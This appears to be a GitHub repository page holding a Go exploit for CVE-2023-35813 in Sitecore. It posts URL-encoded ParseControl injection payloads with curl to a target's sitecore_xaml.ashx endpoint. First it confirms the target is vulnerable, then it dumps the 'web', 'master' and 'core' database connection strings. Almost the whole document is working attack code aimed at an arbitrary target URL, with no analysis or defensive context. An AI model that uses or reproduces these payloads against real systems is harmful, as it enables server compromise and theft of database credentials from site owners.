README.md
Rendering markdown...
package main
import (
"fmt"
"os"
"os/exec"
"log"
"strings"
)
func main(){
exploit()
}
func exploit() {
target := os.Args[1]
fmt.Println("Example use: ./exploit https://example.com")
fmt.Println("\nExploiting: CVE-2023-35813 in: ", target)
exp := exec.Command("sh", "-c", "curl -ks --data '__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"%3C%25%40Register%0A%20%20%20%20%20%20%20%20TagPrefix%20%3D%20%27x%27%0A%20%20%20%20%20%20%20%20Namespace%20%3D%20%27System.Runtime.Remoting.Services%27%0A%20%20%20%20%20%20%20%20Assembly%20%3D%20%27System.Runtime.Remoting%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089%27%0A%20%20%20%20%25%3E%0A%20%20%20%20%3Cx%3ARemotingService%20runat%3D%27server%27%0A%20%20%20%20%20%20%20%20Context-Response-ContentType%3D%27THIS%20IS%20VULNERABLE%27%0A%20%20%20%20%2F%3E\")' "+target+"/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index -v 2>&1|grep -oP \"THIS IS VULNERABLE\" ")
output, err := exp.Output()
if err != nil {
log.Fatal("Target not Vuln.\n")
}
if strings.Contains(string(output), "THIS IS VULNERABLE") {
fmt.Println("Target Vuln !!!\n")
fmt.Println("\nTry Dump hashes for:", target)
verify1 := exec.Command("sh", "-c", "curl -ks --data '__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"%3C%25%40Register%0A%20%20%20%20%20%20%20%20TagPrefix%20%3D%20%27x%27%0A%20%20%20%20%20%20%20%20Namespace%20%3D%20%27System.Runtime.Remoting.Services%27%0A%20%20%20%20%20%20%20%20Assembly%20%3D%20%27System.Runtime.Remoting%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089%27%0A%20%20%20%20%25%3E%0A%20%20%20%20%3Cx%3ARemotingService%20runat%3D%27server%27%0A%20%20%20%20%20%20%20%20Context-Response-ContentType%3D%27%3C%25%24%20ConnectionStrings%3Aweb%20%25%3E%27%0A%0A%20%20%20%20%2F%3E\")' "+target+"/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index |grep -oP \"SetPipeline\"")
verify1out, err := verify1.Output()
if err != nil {
log.Fatal("error.\n", err)
}
if strings.Contains(string(verify1out), "SetPipeline") {
fmt.Println("\nDump:")
dump1 := exec.Command("sh", "-c", "curl -ks --data '__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"%3C%25%40Register%0A%20%20%20%20%20%20%20%20TagPrefix%20%3D%20%27x%27%0A%20%20%20%20%20%20%20%20Namespace%20%3D%20%27System.Runtime.Remoting.Services%27%0A%20%20%20%20%20%20%20%20Assembly%20%3D%20%27System.Runtime.Remoting%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089%27%0A%20%20%20%20%25%3E%0A%20%20%20%20%3Cx%3ARemotingService%20runat%3D%27server%27%0A%20%20%20%20%20%20%20%20Context-Response-ContentType%3D%27%3C%25%24%20ConnectionStrings%3Aweb%20%25%3E%27%0A%0A%20%20%20%20%2F%3E\")' "+target+"/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index -v 2>&1|egrep \"Data Source\" ")
dump1out, err := dump1.Output()
if err != nil {
log.Fatal("Dump error\n")
}
fmt.Println(string(dump1out))
}
verify2 := exec.Command("sh", "-c", "curl -ks --data '__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"%3C%25%40Register%0A%20%20%20%20%20%20%20%20TagPrefix%20%3D%20%27x%27%0A%20%20%20%20%20%20%20%20Namespace%20%3D%20%27System.Runtime.Remoting.Services%27%0A%20%20%20%20%20%20%20%20Assembly%20%3D%20%27System.Runtime.Remoting%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089%27%0A%20%20%20%20%25%3E%0A%20%20%20%20%3Cx%3ARemotingService%20runat%3D%27server%27%0A%20%20%20%20%20%20%20%20Context-Response-ContentType%3D%27%3C%25%24%20ConnectionStrings%3Amaster%20%25%3E%27%0A%0A%20%20%20%20%2F%3E\")' "+target+"/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index |grep -oP \"SetPipeline\"")
verify2out, err := verify2.Output()
if err != nil {
}
if strings.Contains(string(verify2out), "SetPipeline") {
dump2 := exec.Command("sh", "-c", "curl -ks --data '__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"%3C%25%40Register%0A%20%20%20%20%20%20%20%20TagPrefix%20%3D%20%27x%27%0A%20%20%20%20%20%20%20%20Namespace%20%3D%20%27System.Runtime.Remoting.Services%27%0A%20%20%20%20%20%20%20%20Assembly%20%3D%20%27System.Runtime.Remoting%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089%27%0A%20%20%20%20%25%3E%0A%20%20%20%20%3Cx%3ARemotingService%20runat%3D%27server%27%0A%20%20%20%20%20%20%20%20Context-Response-ContentType%3D%27%3C%25%24%20ConnectionStrings%3Amaster%20%25%3E%27%0A%0A%20%20%20%20%2F%3E\")' "+target+"/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index -v 2>&1|egrep \"Data Source\" ")
dump2out, err := dump2.Output()
if err != nil {
}
fmt.Println(string(dump2out))
}
verify3 := exec.Command("sh", "-c", "curl -ks --data '__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"%3C%25%40Register%0A%20%20%20%20%20%20%20%20TagPrefix%20%3D%20%27x%27%0A%20%20%20%20%20%20%20%20Namespace%20%3D%20%27System.Runtime.Remoting.Services%27%0A%20%20%20%20%20%20%20%20Assembly%20%3D%20%27System.Runtime.Remoting%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089%27%0A%20%20%20%20%25%3E%0A%20%20%20%20%3Cx%3ARemotingService%20runat%3D%27server%27%0A%20%20%20%20%20%20%20%20Context-Response-ContentType%3D%27%3C%25%24%20ConnectionStrings%3Acore%20%25%3E%27%0A%0A%20%20%20%20%2F%3E\")' "+target+"/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index |grep -oP \"SetPipeline\"")
verify3out, err := verify3.Output()
if err != nil {
}
if strings.Contains(string(verify3out), "SetPipeline") {
dump3 := exec.Command("sh", "-c", "curl -ks --data '__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"%3C%25%40Register%0A%20%20%20%20%20%20%20%20TagPrefix%20%3D%20%27x%27%0A%20%20%20%20%20%20%20%20Namespace%20%3D%20%27System.Runtime.Remoting.Services%27%0A%20%20%20%20%20%20%20%20Assembly%20%3D%20%27System.Runtime.Remoting%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089%27%0A%20%20%20%20%25%3E%0A%20%20%20%20%3Cx%3ARemotingService%20runat%3D%27server%27%0A%20%20%20%20%20%20%20%20Context-Response-ContentType%3D%27%3C%25%24%20ConnectionStrings%3Acore%20%25%3E%27%0A%0A%20%20%20%20%2F%3E\")' "+target+"/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index -v 2>&1|egrep \"Data Source\" ")
dump3out, err := dump3.Output()
if err != nil {
}
fmt.Println(string(dump3out))
}
} else {
fmt.Println("\nTarget not Vuln.")
}
}